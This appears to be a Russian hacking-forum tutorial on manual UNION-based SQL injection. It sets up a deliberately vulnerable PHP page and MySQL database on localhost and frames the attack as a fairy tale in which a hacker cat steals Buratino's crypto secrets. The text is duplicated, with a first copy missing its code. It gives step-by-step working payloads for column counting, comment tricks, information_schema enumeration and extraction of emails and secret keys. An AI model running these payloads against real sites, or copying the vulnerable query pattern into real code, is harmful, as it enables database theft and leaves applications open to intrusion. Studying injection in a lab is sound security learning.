Приветствую тебя читатель!
Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql.
Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.
Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.
Приступим.
Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.
Создадим базу данных
Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
Обновляем привилегии
Выходим из-под root набрав
и логинимся под пользователем buratino
Меняем текущую базу
Создаём 2 таблицы с колонками
Проверяем
и
Заполняем поля
Делаем дамп базы, убедимся, что всё прошло как надо
Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html
Создайте каталог images и закиньте туда ЭТУ ФОТКУ. Обязательно выставите права на Чтение и запись для для "Остальные".
Теперь запускаем апач
Отлично! Теперь я расскажу вам сказочку )
Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.
Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.
- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик!
Хорошо, гляну на досуге, пока!
Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.
Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!
Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...
Ну что же, первым делом нужно проверить на самую простую уязвимость
, просто подставив в параметр одиночную кавычку.
Ага, ошибка, как я и думал - лошара берёзовая!
Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:
пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.
ошибки нет, значит колонок 4
Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.
ошибка, пишет, что колонки 10 не существует
делим пополам, тоже мимо
ошибки нет
тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.
Тот же результат можно получить используя оператор
Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку
Также пробел часто заменяют плюсом. Варианты комментариев:
Также, в зависимости от кода, могут прокатывать и такие варианты:
Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос
Отправляем
Отлично! Мы видим, что уязвимая колонка 3.
Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.
Теперь выясним название текущей базы данных. Отправляем запрос
Вот и наша базка
А теперь посмотрим как на самом деле выглядит наш запрос:
такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.
Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
Теперь узнаем названия таблиц.
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.
INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
А теперь увеличим значение на единицу
И вот мы вывели таблицу login.
Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.
Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement
Таким же образом поступаем с таблицей passwd
Вытаскиваем id,email,password,secret_key
Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться
Ничего себе! Миллион монет на счету, удача идёт прямо в руки!
Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
Заберём секретный ключ у чурбачка в колпаке!
Бинго!
Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один замечательный ресурс, где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.
Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
Удачи!
Автор: explorer
Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql.
Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.
Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.
Приступим.
Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.
Создадим базу данных
Код:
create database golden_key;
Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
Код:
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Код:
flush privileges;
Выходим из-под root набрав
Код:
exit
Код:
mysql -u buratino -p
Код:
use golden_key;
Создаём 2 таблицы с колонками
Код:
CREATE TABLE login (
id INT NOT NULL AUTO_INCREMENT,
nickname VARCHAR(30) NOT NULL,
login VARCHAR(40) NOT NULL,
statement INT NOT NULL,
PRIMARY KEY(id)
);
Код:
CREATE TABLE passwd (
id INT NOT NULL AUTO_INCREMENT,
email VARCHAR(40) NOT NULL,
password VARCHAR(40) NOT NULL,
secret_key VARCHAR(40) NOT NULL,
PRIMARY KEY(id)
);
Проверяем
Код:
desc login;
Код:
desc passwd;
Заполняем поля
Код:
INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");
INSERT INTO passwd (email,password,secret_key)
VALUES
("[EMAIL]wood@mail.ru[/EMAIL]","papa_Karlo","dast_ist_super-puper_secret_key"),
("[EMAIL]devaxa@yandex.ru[/EMAIL]","solnyshko","d5t6z9h35d6r5c6l"),
("[EMAIL]bablo@yahoo.com[/EMAIL]","bigboss","5y6q3n5f9j3z2gj6"),
("[EMAIL]best@gmail.com[/EMAIL]","blue_sky","g2x5f2s6f7c5f1s6");
Делаем дамп базы, убедимся, что всё прошло как надо
Код:
SELECT * FROM login,passwd WHERE login.id = passwd.id;
Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html
/var/www/html/ и создаёте файл index.php со следующим содержанием:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";
// Открываем соединение
$link = new mysqli($server, $user, $password, $db);
// Проверка результата подключения
if ($mysqli_connection->connect_error) {
die("Подключение не удалось: " . $link->connect_error);
}
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);
if($row)
{
echo '<font color= "#0000ff">';
echo 'ID: '. $row['id'];
echo "<br>";
echo 'Your Login: ' .$row['login'];
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>
Создайте каталог images и закиньте туда ЭТУ ФОТКУ. Обязательно выставите права на Чтение и запись для для "Остальные".
Теперь запускаем апач
service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это
Отлично! Теперь я расскажу вам сказочку )
Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.
Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.
- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик!
Код:
localhost/index.php
Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.
Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!
Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...
Ну что же, первым делом нужно проверить на самую простую уязвимость
Код:
UNION BASED
Код:
localhost/index.php?id=1'
Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:
Код:
1' union select 1 -- -
Код:
1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- -
Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.
Код:
1' group by 10 -- -
Код:
1' group by 5 -- -
Код:
1' group by 3 -- -
Код:
1' group by 4 -- -
Максимальное количество колонок без ошибки = количеству колонок в запросе.
Тот же результат можно получить используя оператор
order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку
1' order by 4 -- hacker Также пробел часто заменяют плюсом. Варианты комментариев:
Код:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00
Также, в зависимости от кода, могут прокатывать и такие варианты:
Код:
#
/**/
Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос
1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999Отправляем
Код:
99999' union select 1,2,3,4 -- -
Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.
Теперь выясним название текущей базы данных. Отправляем запрос
99999' union select 1,2,database(),4 -- -Вот и наша базка
golden_key
А теперь посмотрим как на самом деле выглядит наш запрос:
Код:
SELECT * FROM login WHERE id='1'
Код:
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'
Код:
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'";
Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
Код:
-1' union select version(),2222,database(),4444 -- -
Теперь узнаем названия таблиц.
Код:
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
Код:
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
Код:
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.
Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement
Таким же образом поступаем с таблицей passwd
Код:
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться
Код:
-1' union select nickname,2,statement,4 from login -- -
Ничего себе! Миллион монет на счету, удача идёт прямо в руки!
Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
Код:
-1' union select nickname,2,statement,4 from login limit 1,1 -- -
Заберём секретный ключ у чурбачка в колпаке!
Код:
-1' union select email,2,secret_key,4 from passwd -- -
Бинго!
Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один замечательный ресурс, где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.
Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
Код:
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")
Удачи!
Автор: explorer